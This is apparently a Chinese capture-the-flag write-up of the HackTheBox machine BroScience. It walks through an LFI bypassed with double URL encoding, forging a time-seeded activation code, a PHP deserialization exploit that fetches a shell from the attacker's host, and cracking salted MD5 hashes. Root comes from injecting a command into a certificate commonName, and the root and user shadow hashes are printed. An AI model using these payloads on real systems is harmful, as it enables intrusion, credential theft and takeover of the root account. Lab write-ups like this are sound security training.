基本信息
端口扫描 22,80,443:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 $ nmap -sC -sV -Pn 10.10.11.195 Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-09 14:40 CST Nmap scan report for 10.10.11.195 Host is up (0.19s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA) | 256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA) |_ 256 3c6575274ae2ef9391374cfdd9d46341 (ED25519) 80/tcp open http Apache httpd 2.4.54 |_http-title: Did not follow redirect to https://broscience.htb/ |_http-server-header: Apache/2.4.54 (Debian) 443/tcp open ssl/http Apache httpd 2.4.54 ((Debian)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT | Not valid before: 2022-07-14T19:48:36 |_Not valid after: 2023-07-14T19:48:36 |_http-server-header: Apache/2.4.54 (Debian) |_http-title: BroScience : Home | tls-alpn: |_ http/1.1 Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 73.45 seconds
80/443 需要加hosts:
1 10.10.11.195 broscience.htb
健身相关的:
目录扫描 扫描发现includes,进一步发现img.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt -t 50 -u https://broscience.htb/ -k -x php,html,txt /activate.php (Status: 200) [Size: 1256] /comment.php (Status: 302) [Size: 13] [--> /login.php] /images (Status: 301) [Size: 319] [--> https://broscience.htb/images/] /includes (Status: 301) [Size: 321] [--> https://broscience.htb/includes/] /index.php (Status: 200) [Size: 9308] /javascript (Status: 301) [Size: 323] [--> https://broscience.htb/javascript/] /login.php (Status: 200) [Size: 1936] /logout.php (Status: 302) [Size: 0] [--> /index.php] /manual (Status: 301) [Size: 319] [--> https://broscience.htb/manual/] /register.php (Status: 200) [Size: 2161] /styles (Status: 301) [Size: 319] [--> https://broscience.htb/styles/] /user.php (Status: 200) [Size: 1309] gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt -t 50 -u https://broscience.htb/includes/ -k -x php,html,txt /db_connect.php (Status: 200) [Size: 0] /header.php (Status: 200) [Size: 369] /img.php (Status: 200) [Size: 39] /utils.php (Status: 200) [Size: 0]
img.php 直接访问提示缺少path参数:
LFI 根据path参数,很容易想到LFI,但存在检测:
简单地绕过,两次URL编码即可:
后面就是LFI读文件:
1 2 3 4 5 6 7 8 $db_host = "localhost" ; $db_port = "5432" ; $db_name = "broscience" ; $db_user = "dbuser" ; $db_pass = "RangeOfMotion%777" ; $db_salt = "NaCl" ; $activation_link = "https://broscience.htb/activate.php?code={$activation_code}" ;
db_connect.php
register.php 代码显示发送激活链接功能还没做:
utils.php 根据代码,生成激活码的随机数种子和时间相关:
伪随机数 所以我们可以自己根据时间生成激活码,一般前后500ms范围内时间作为种子即可
首先注册一个账号,得到服务端的响应时间:
然后根据时间作为随机数种子爆破出有效激活码:
1 2 3 4 5 php activate.php > codes.txt ffuf -w ./codes.txt:FUZZ -u "https://broscience.htb/activate.php?code=FUZZ" -fs 125 qdJkKQPQa5JeVIzP9JM1PFe3vRGFa3cO [Status: 200, Size: 1251, Words: 292, Lines: 28, Duration: 689ms]
现在,我们注册的账号已经激活,可以登录:
activate.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php function generate_activation_code ($time) { $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890" ; srand($time); $activation_code = "" ; for ($i = 0 ; $i < 32 ; $i++) { $activation_code = $activation_code . $chars[rand(0 , strlen($chars) - 1 )]; } return $activation_code; } $ref_time = date("U" ,strtotime('Mon, 09 Jan 2023 07:08:32 GMT' )); for ($t = $ref_time - 500 ; $t <= $ref_time + 500 ; $t++) echo generate_activation_code($t)."\n" ; ?>
PHP 反序列化 查看cookie发现是序列化数据,根据前面utils中的代码存在反序列化操作:
反序列化 getshell 根据代码,get_theme
读取 cookie 并反序列化它,Avatar
读取文件并保存到本地。因此,我们可以利用这些让目标从我们这里读取 shell 脚本,然后触发目标上的 shell。
reverse shell
exploit.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class Avatar { public $imgPath; public function __construct ($imgPath) { $this ->imgPath = $imgPath; } public function save ($tmp) { $f = fopen($this ->imgPath, "w" ); fwrite($f, file_get_contents($tmp)); fclose($f); } } class AvatarInterface { public $tmp = "http://10.10.14.19:7777/shell.php" ; public $imgPath = "./shell.php" ; public function __wakeup () { $a = new Avatar($this ->imgPath); $a->save($this ->tmp); } } echo base64_encode(serialize(new AvatarInterface));?>
信息 前面已经得到有数据库密码,查看数据库得到hash:
1 2 3 4 5 6 7 8 9 10 11 12 13 psql -U dbuser -h localhost -W -d broscience Password: RangeOfMotion%777 broscience=> \dt; select * from users; username | password ---------------+---------------------------------- administrator | 15657792073e8a843d4f91fc403454e1 bill | 13edad4932da9dbb57d9cd15b66ed104 michael | bd3dad50e2d578ecba87d5fa15ca5f85 john | a7eed23a7be6fe0d765197b1027453fe dmytro | 5d15340bded5b9395d5d14b9c21bc82b
hash crack 密码有salt,salt和加密方式在前面也已经得到了,所以修改格式破解hash:
1 2 3 4 5 6 7 8 9 10 11 12 └─$ cat hash.txt 15657792073e8a843d4f91fc403454e1$ NaCl 13edad4932da9dbb57d9cd15b66ed104$ NaCl bd3dad50e2d578ecba87d5fa15ca5f85$ NaCl a7eed23a7be6fe0d765197b1027453fe$ NaCl 5d15340bded5b9395d5d14b9c21bc82b$ NaCl sudo john --wordlist=/usr/share/wordlists/rockyou.txt -form=dynamic='md5($s.$p)' hash.txt 13edad4932da9dbb57d9cd15b66ed104 : iluvhorsesandgym (?) 5d15340bded5b9395d5d14b9c21bc82b : Aaronthehottest (?) bd3dad50e2d578ecba87d5fa15ca5f85 : 2applesplus2apples (?)
user flag bill用户ssh登录,得到user flag:
提权信息 运行pspy64,发现一个/opt/renew_cert.sh定期以root权限运行:
1 timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
查看代码,是用来检查证书到期的,很多字段可以进行命令注入,因为证书本身会有字符限制,所以最好的利用点是commonName
/opt/renew_cert.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 # !/bin/bash if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then echo "Usage: $0 certificate.crt"; exit 0; fi if [ -f $1 ]; then openssl x509 -in $1 -noout -checkend 86400 > /dev/null if [ $? -eq 0 ]; then echo "No need to renew yet."; exit 1; fi subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-) country=$(echo $subject | grep -Eo 'C = .{2}') state=$(echo $subject | grep -Eo 'ST = .*,') locality=$(echo $subject | grep -Eo 'L = .*,') organization=$(echo $subject | grep -Eo 'O = .*,') organizationUnit=$(echo $subject | grep -Eo 'OU = .*,') commonName=$(echo $subject | grep -Eo 'CN = .*,?') emailAddress=$(openssl x509 -in $1 -noout -email) country=${country:4} state=$(echo ${state:5} | awk -F, '{print $1}') locality=$(echo ${locality:3} | awk -F, '{print $1}') organization=$(echo ${organization:4} | awk -F, '{print $1}') organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}') commonName=$(echo ${commonName:5} | awk -F, '{print $1}') echo $subject; echo ""; echo "Country => $country"; echo "State => $state"; echo "Locality => $locality"; echo "Org Name => $organization"; echo "Org Unit => $organizationUnit"; echo "Common Name => $commonName"; echo "Email => $emailAddress"; echo -e "\nGenerating certificate..."; openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country $state $locality $organization $organizationUnit $commonName $emailAddress " 2>/dev/null /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt" else echo "File doesn't exist" exit 1;
提权 & root flag 生成一个证书,注入命令,等待触发执行:
1 2 3 4 5 cd Certs/ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout broscience.key -out broscience.crt -days 1 # Common Name $ (chmod +s /usr/bin/bash)
shadow 1 2 root:$y$j9T$CRyECZOR16PKCYvfMPEU1/$//xk7MP6mTa0jQvj4rq.H7w8DTBROI3SW9NfWncuoM2:19185:0:99999:7::: bill:$y$j9T$0VHousYX7xxJh3Ih0AzAQ/$JO8mxhyALh1nWEVKM9qf675XnEb26Q15SLPakaMchH3:19187:0:99999:7:::
参考资料
Last updated: 2023-04-10 09:06:46
水平不济整日被虐这也不会那也得学,脑子太蠢天天垫底这看不懂那学不会